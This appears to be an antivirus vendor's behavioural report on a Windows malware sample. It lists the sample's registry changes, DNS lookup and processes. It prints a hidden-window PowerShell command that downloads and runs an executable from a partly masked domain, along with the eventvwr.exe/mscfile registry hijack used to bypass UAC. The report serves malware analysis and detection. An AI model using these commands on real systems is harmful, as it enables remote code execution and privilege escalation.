Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Classes\mscfile\shell\open\command] '' = '%TEMP%\puttyx86.exe'
Malicious functions
Downloads and executes
- http://ho###cke-sg.com/doggy.exe as %temp%\puttyx86.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://ho###cke-sg.com/doggy.exe','%TEMP%\puttyx86.exe') & reg add HKCU\Software\Classes\mscfile\shel...
Network activity
UDP
- DNS ASK ho###cke-sg.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://ho###cke-sg.com/doggy.exe','%TEMP%\puttyx86.exe') & reg add HKCU\Software\Classes\mscfile\shel...' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' add HKCU\Software\Classes\mscfile\shell\open\command /d %TEMP%\puttyx86.exe /f
- '<SYSTEM32>\eventvwr.exe'
